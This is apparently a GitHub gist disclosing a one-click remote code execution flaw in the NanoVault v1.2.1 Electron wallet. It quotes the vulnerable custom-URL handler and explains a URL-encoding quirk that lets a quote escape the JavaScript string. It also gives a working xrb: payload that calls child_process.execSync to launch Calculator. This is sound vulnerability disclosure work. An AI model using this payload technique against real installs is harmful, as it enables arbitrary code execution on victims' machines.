Skip to content

Instantly share code, notes, and snippets.

@jackfromeast
Last active August 1, 2025 23:58
Show Gist options
  • Select an option

  • Save jackfromeast/1e2e206813887a470e00b8474c616567 to your computer and use it in GitHub Desktop.

Select an option

Save jackfromeast/1e2e206813887a470e00b8474c616567 to your computer and use it in GitHub Desktop.
One-click Remote Code Execution through Custom URL Handling in NanoVault v1.2.1

Summary

We discovered a one-click remote code execution vulnerability in the latest version (v1.2.1) of the NanoVault app. An attacker can exploit this vulnerability by embedding a specially crafted xrb: URL on any website, including a malicious one they control. When a victim visits such a site or clicks on the link, the browser triggers the app’s custom URL handler (xrb:), causing the NanoVault application to launch and process the URL, leading to remote code execution on the victim’s machine.

Details

XSS in the Renderer Process

NanoVault handles custom URL protocol events using the following logic, where an attacker-controlled URL is concatenated into a JavaScript context and executed in the renderer process via executeJavaScript:

https://github.com/cronoh/nanovault/blob/3ce46fdfb0a4bc6226d43171ae9171b192ba4ad2/main.js#L63C1-L74C6
app.on('open-url', (event, path) => {
  if (!mainWindow) {
    createWindow();
  }
  if (!mainWindow.webContents.isLoading()) {
    mainWindow.webContents.executeJavaScript(`window.dispatchEvent(new CustomEvent('protocol-load', { detail: '${path}' }));`);
  }
  mainWindow.webContents.once('did-finish-load', () => {
    mainWindow.webContents.executeJavaScript(`window.dispatchEvent(new CustomEvent('protocol-load', { detail: '${path}' }));`);
  });
  event.preventDefault();
});

Exploit

Although the data flow appears straightforward, successful exploitation is non-trivial due to context-specific escaping and URL parsing constraints. The injected payload must meet two critical conditions:

  1. Valid URL Format: The payload must be a syntactically valid URL so the browser will invoke the Electron app. Invalid URLs are not dispatched via the custom protocol handler.
  2. Context-Compatible Execution After URL Encoding: When the payload is embedded in the JavaScript template (within single quotes), it must form syntactically valid JavaScript after browser’s automatic URL encoding.

To verify the first condition, one can test it with new URL(payload) in JavaScript. If no error is thrown, the browser will likely accept it.

Regarding the second condition, we need to first understand the browser encoding mechanism and find the way to escape the context with respect to it.

Browser URL Encoding Mechanism

Most characters are URL-encoded by the browser, except for a subset: ! - _ . ~ * ' ( ) ; : @ & = + $ , / ? % # [ ], according to Google's documentation. However, encoding behavior also depends on URL segments. For example, the same character may be encoded in query strings but not in the domain.

For example, the following URL passed via the browser becomes encoded when received in Electron (’[] are all encoded.)

// Input to browser:
abc://test.com/?x=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'-_.~!*$'();:@&= ,/?#[]{}"<>`|\

// Received in Electron:
abc://test.com/?x=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%27-_.~!*$%27();:@&=%20,/?#%5B%5D%7B%7D%22%3C%3E%60%7C%5C

However, if ' appears in the domain part, it is preserved:

// Input:
abc://test'.com

// Received:
abc://test'.com

This observation enables us to inject a ' into the JavaScript context, effectively closing the prior string literal.

Bypassing the Syntax Constraints

The next challenge is crafting a payload that remains valid JavaScript after encoding and within the dict syntax.

Some seemingly straightforward payloads like ',a:alert(),', which generate invalid JavaScript such as { detail: '',a:alert(),'' }, fail because the extra comma makes the URL invalid and prevents the browser from invoking the Electron application.

After I a few probing, I found that the - would be used as minus (binOp) a string to make our payload executed with the left empty string!!

xbr:a',m:alert()-' # Payload

In context, this becomes:

window.dispatchEvent(new CustomEvent('protocol-load', { detail: 'xbr:a',m:alert()-'' }));

XSS to RCE

Since the window is created with nodeIntegration: true and contextIsolation: false, an XSS in the renderer process directly leads to arbitrary code execution (RCE).

PoC

Video PoC can be found at: https://drive.google.com/file/d/1Hil-UQiLweGe9q1aCiiyQoiW9wOJsY7-/view?usp=drive_link

  1. In your browser, navigate to the following custom URL and click “Open NanoVault” in the popup:
xrb:a',m:require('child_process').execSync('open'+String.fromCharCode(32)+'/System/Applications/Calculator.app/Contents/MacOS/Calculator')-'
  1. Check whether the Calculator will be popped out.

Impact

Any user that clicked on the custom url and invoke the nanovault application would lead to RCE. The attack works just like a typical reflected or DOM-based XSS, however, it leads to a much more severe consequence by allowing code execution on the victim’s machine.

Credits

Zhengyu Liu (jackfromeast), Jianjia Yu (suuuuuzy)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment